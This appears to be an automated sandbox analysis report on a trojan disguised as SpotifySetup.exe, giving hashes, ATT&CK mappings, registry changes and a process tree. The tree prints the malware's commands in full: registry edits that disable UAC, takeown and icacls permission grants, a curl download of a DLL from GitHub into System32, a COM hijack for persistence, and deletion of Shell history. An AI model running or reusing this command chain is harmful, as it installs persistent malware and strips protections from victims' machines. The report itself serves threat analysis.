7f191c5f9f3bb3e4bd5c2c89fd641ea920edcc06a1dd0be32453cdd54dc0de1c

Analysis

user interaction
yes
max time kernel
150s
max time network
129s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260710-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
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15/07/2026, 18:44

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General

Target
SpotifySetup.exe
Size 271KB
Sample260715-xdsmcsb17m
SHA256 7f191c5f9f3bb3e4bd5c2c89fd641ea920edcc06a1dd0be32453cdd54dc0de1c
MD5 31505a0fb20d0018c4d680b9d5d41b36
SHA1 ac549230cf35805be7015a870c44e3002d0c8882
SHA512 e01293fd68903ccef1340fea0c08dab89e97928849e1973e4679fca5df1c964ccb3e60614562a48b97b70af739b2fca83e2f808c580111f9fcd521fa31d40363
SSDEEP 6144:4//EouquoDybQ1dXNw/KvFq+UNj73eJPA5FuLS:CjDybYd/K7/
TLSH
T14B44F837E76384B8C29B92B4B786CAF1B031BC141330A91E47C5CB223F9BD545F99999
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery exploit persistence privilege_escalation trojan

Malware Config

Signatures

UAC bypass 3 TTPs 3 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	SpotifySetup.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	SpotifySetup.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	SpotifySetup.exe

Possible privilege escalation attempt 3 IoCs

exploit

pid	Process
4896	icacls.exe
4232	takeown.exe
3988	icacls.exe

Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Loads dropped DLL 1 IoCs

pid	Process
4820	SpotifySetup.exe

Modifies file permissions 1 TTPs 3 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
4232	takeown.exe
3988	icacls.exe
4896	icacls.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

defense_evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	SpotifySetup.exe

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
2	raw.githubusercontent.com
3	raw.githubusercontent.com

File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
defense_evasion

Windows File and Directory Permissions Modification
T1222.001

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\dmdskmgrs.dll	curl.exe

Disables Windows logging functionality 2 TTPs
Changes registry settings to disable Windows Event logging.

Disable or Modify Tools
T1562.001

Modify Registry
T1112

Modifies registry class 21 IoCs

description	ioc	Process
Key deleted	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{dbfca500-8c31-11d0-aa2c-00a0c92749a3}\InprocServer32	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{dbfca500-8c31-11d0-aa2c-00a0c92749a3}	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{DBFCA500-8C31-11D0-AA2C-00A0C92749A3}\InprocServer32	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\0	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\Shell\Microsoft.Windows.ControlPanel	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000_Classes\CLSID\{dbfca500-8c31-11d0-aa2c-00a0c92749a3}\InprocServer32	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000_Classes\CLSID\{dbfca500-8c31-11d0-aa2c-00a0c92749a3}	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000_Classes\CLSID\{dbfca500-8c31-11d0-aa2c-00a0c92749a3}\InprocServer32\ = "C:\\Windows\\system32\\dmdskmgrs.dll"	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\Shell	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000_Classes\CLSID	reg.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
5044	WMIC.exe
5044	WMIC.exe
5044	WMIC.exe
5044	WMIC.exe

Suspicious use of AdjustPrivilegeToken 43 IoCs

description	pid	Process
Token: SeTakeOwnershipPrivilege	4232	takeown.exe
Token: SeIncreaseQuotaPrivilege	5044	WMIC.exe
Token: SeSecurityPrivilege	5044	WMIC.exe
Token: SeTakeOwnershipPrivilege	5044	WMIC.exe
Token: SeLoadDriverPrivilege	5044	WMIC.exe
Token: SeSystemProfilePrivilege	5044	WMIC.exe
Token: SeSystemtimePrivilege	5044	WMIC.exe
Token: SeProfSingleProcessPrivilege	5044	WMIC.exe
Token: SeIncBasePriorityPrivilege	5044	WMIC.exe
Token: SeCreatePagefilePrivilege	5044	WMIC.exe
Token: SeBackupPrivilege	5044	WMIC.exe
Token: SeRestorePrivilege	5044	WMIC.exe
Token: SeShutdownPrivilege	5044	WMIC.exe
Token: SeDebugPrivilege	5044	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5044	WMIC.exe
Token: SeRemoteShutdownPrivilege	5044	WMIC.exe
Token: SeUndockPrivilege	5044	WMIC.exe
Token: SeManageVolumePrivilege	5044	WMIC.exe
Token: 33	5044	WMIC.exe
Token: 34	5044	WMIC.exe
Token: 35	5044	WMIC.exe
Token: 36	5044	WMIC.exe
Token: SeIncreaseQuotaPrivilege	5044	WMIC.exe
Token: SeSecurityPrivilege	5044	WMIC.exe
Token: SeTakeOwnershipPrivilege	5044	WMIC.exe
Token: SeLoadDriverPrivilege	5044	WMIC.exe
Token: SeSystemProfilePrivilege	5044	WMIC.exe
Token: SeSystemtimePrivilege	5044	WMIC.exe
Token: SeProfSingleProcessPrivilege	5044	WMIC.exe
Token: SeIncBasePriorityPrivilege	5044	WMIC.exe
Token: SeCreatePagefilePrivilege	5044	WMIC.exe
Token: SeBackupPrivilege	5044	WMIC.exe
Token: SeRestorePrivilege	5044	WMIC.exe
Token: SeShutdownPrivilege	5044	WMIC.exe
Token: SeDebugPrivilege	5044	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5044	WMIC.exe
Token: SeRemoteShutdownPrivilege	5044	WMIC.exe
Token: SeUndockPrivilege	5044	WMIC.exe
Token: SeManageVolumePrivilege	5044	WMIC.exe
Token: 33	5044	WMIC.exe
Token: 34	5044	WMIC.exe
Token: 35	5044	WMIC.exe
Token: 36	5044	WMIC.exe

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 4820 wrote to memory of 2236	4820	SpotifySetup.exe	88
PID 2236 wrote to memory of 4232	2236	cmd.exe	89
PID 4820 wrote to memory of 4196	4820	SpotifySetup.exe	90
PID 4196 wrote to memory of 3988	4196	cmd.exe	91
PID 4820 wrote to memory of 1796	4820	SpotifySetup.exe	92
PID 1796 wrote to memory of 4896	1796	cmd.exe	93
PID 4820 wrote to memory of 5708	4820	SpotifySetup.exe	94
PID 5708 wrote to memory of 5956	5708	cmd.exe	95
PID 4820 wrote to memory of 4800	4820	SpotifySetup.exe	96
PID 4800 wrote to memory of 4660	4800	cmd.exe	97
PID 4820 wrote to memory of 5104	4820	SpotifySetup.exe	98
PID 5104 wrote to memory of 4840	5104	cmd.exe	99
PID 4820 wrote to memory of 5068	4820	SpotifySetup.exe	100
PID 5068 wrote to memory of 5044	5068	cmd.exe	101
PID 4820 wrote to memory of 3772	4820	SpotifySetup.exe	103
PID 3772 wrote to memory of 2796	3772	cmd.exe	104
PID 4820 wrote to memory of 6052	4820	SpotifySetup.exe	105
PID 6052 wrote to memory of 2000	6052	cmd.exe	106
PID 4820 wrote to memory of 4564	4820	SpotifySetup.exe	107

System policy modification 1 TTPs 3 IoCs

defense_evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	SpotifySetup.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	SpotifySetup.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	SpotifySetup.exe

C:\Users\Admin\AppData\Local\Temp\SpotifySetup.exe
"C:\Users\Admin\AppData\Local\Temp\SpotifySetup.exe"
1⤵
- UAC bypass
- Loads dropped DLL
- Checks whether UAC is enabled
- Suspicious use of WriteProcessMemory
- System policy modification
PID:4820
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c takeown /f "C:\Windows\system32\dmdskmgrs.dll" /a >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2236
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\system32\dmdskmgrs.dll" /a
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:4232
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c icacls "C:\Windows\system32\dmdskmgrs.dll" /grant administrators:F /c >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4196
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\system32\dmdskmgrs.dll" /grant administrators:F /c
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3988
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c icacls "C:\Windows\system32\dmdskmgrs.dll" /grant Everyone:F /c >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1796
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\system32\dmdskmgrs.dll" /grant Everyone:F /c
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4896
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl -s -o "C:\Windows\system32\dmdskmgrs.dll" "https://raw.githubusercontent.com/Johnsam3/test/main/dmdskmgrs.dll" >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5708
- - C:\Windows\system32\curl.exe
    curl -s -o "C:\Windows\system32\dmdskmgrs.dll" "https://raw.githubusercontent.com/Johnsam3/test/main/dmdskmgrs.dll"
    3⤵
    - Drops file in System32 directory
    PID:5956
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Classes\CLSID\{dbfca500-8c31-11d0-aa2c-00a0c92749a3}\InprocServer32" /ve /t REG_SZ /d "C:\Windows\system32\dmdskmgrs.dll" /f >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4800
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Software\Classes\CLSID\{dbfca500-8c31-11d0-aa2c-00a0c92749a3}\InprocServer32" /ve /t REG_SZ /d "C:\Windows\system32\dmdskmgrs.dll" /f
    3⤵
    - Modifies registry class
    PID:4660
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add "HKLM\SOFTWARE\Classes\CLSID\{dbfca500-8c31-11d0-aa2c-00a0c92749a3}\InprocServer32" /ve /t REG_SZ /d "C:\Windows\system32\dmdskmgrs.dll" /f >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5104
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Classes\CLSID\{dbfca500-8c31-11d0-aa2c-00a0c92749a3}\InprocServer32" /ve /t REG_SZ /d "C:\Windows\system32\dmdskmgrs.dll" /f
    3⤵
    - Modifies registry class
    PID:4840
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic recoveros set WriteDebugInfo=FALSE >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5068
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic recoveros set WriteDebugInfo=FALSE
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5044
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg delete "HKCU\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU" /f >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3772
- - C:\Windows\system32\reg.exe
    reg delete "HKCU\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU" /f
    3⤵
    - Modifies registry class
    PID:2796
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg delete "HKCU\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags" /f >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:6052
- - C:\Windows\system32\reg.exe
    reg delete "HKCU\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags" /f
    3⤵
    - Modifies registry class
    PID:2000
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c pause
  2⤵
  PID:4564

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

File and Directory Permissions Modification

T1222

Windows File and Directory Permissions Modification

T1222.001

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

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dmdskmgrs.dll

Path C:\Windows\system32\dmdskmgrs.dll
Size 9KB
SHA256 67ca289cb276cd02c7ebea70b069afc508ace4cfb6d7d93f5913a727b78b934f
MD5 20f68af7663bfe32ee41cc3b3a8699f6
SHA1 6e47bcd412f7bff408fb678c44d0d0807502015b
SHA512 6cebf5912a792058d538d614ec9435c68082001a6c8c9c3b984d6d473b73b3218d6667870908c6e0291be0f56445030d7275551d3af63cbe1b9f655ef81de33b
SSDEEP 96:2s0nQtic3BdgMTo9uSc5WxdcJIgEr3u4JEy9ZRvQt7o+y6ZFnWAzxHtOgjRm0l:Y+h3FTodJ+aJEcj6ZtWAzxHIgj
TLSH
T135122A5DB51185EDD96EC1B4C8630E8E916AF710131263CB1371A02B0EA378FB53B786
MD5 SHA1 SHA512 SSDEEP TLSH

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